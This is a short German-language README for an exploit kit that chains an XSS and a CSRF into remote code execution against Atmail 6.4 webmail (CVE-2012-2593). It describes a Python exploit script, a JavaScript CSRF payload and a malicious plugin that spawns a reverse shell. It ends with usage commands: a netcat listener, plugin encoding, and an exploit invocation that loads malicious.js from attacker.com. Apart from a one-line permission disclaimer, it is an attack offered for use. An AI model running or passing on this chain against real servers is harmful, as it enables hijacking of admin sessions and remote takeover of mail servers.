
Atmail XSS-CSRF-RCE Exploit-Kette
atmail-rce.py: Nutzt CVE-2012-2593 im Webmail-Interface von Atmail aus. atmail-csrf.js: JavaScript-Datei, die CVE-2012-2593 in ein CSRF umwandelt, um ein bösartiges Plugin zu installieren, das eine Reverse Shell ausführt.
Plugin.php: Atmail-Plugin, das installiert wird und eine Reverse Shell aufruft.
!!Nur auf Servern verwenden, für die du eine Testberechtigung hast
Der Atmail-E-Mail-Server Version 6.4 hat eine XSS-Schwachstelle sowohl im Date-E-Mail-Header als auch im E-Mail-Text (via iFrame-Injection). Diese wird zu einem CSRF ausgenutzt, indem die JavaScript XHR-API verwendet wird, um eine Anfrage mit dem Cookie des Admin-Benutzers an das Admin-Webpanel zu senden, wodurch ein bösartiges Plugin installiert wird, das Code für eine Reverse Shell ausführt.
nc -lvp 4444gzip -c Plugin.php | base64 | tr -d [:space:]python3 ./atmail-rce.py -u attacker@localhost -r admin@localhost -x http://attacker.com/malicious.js -t http://atmail.com/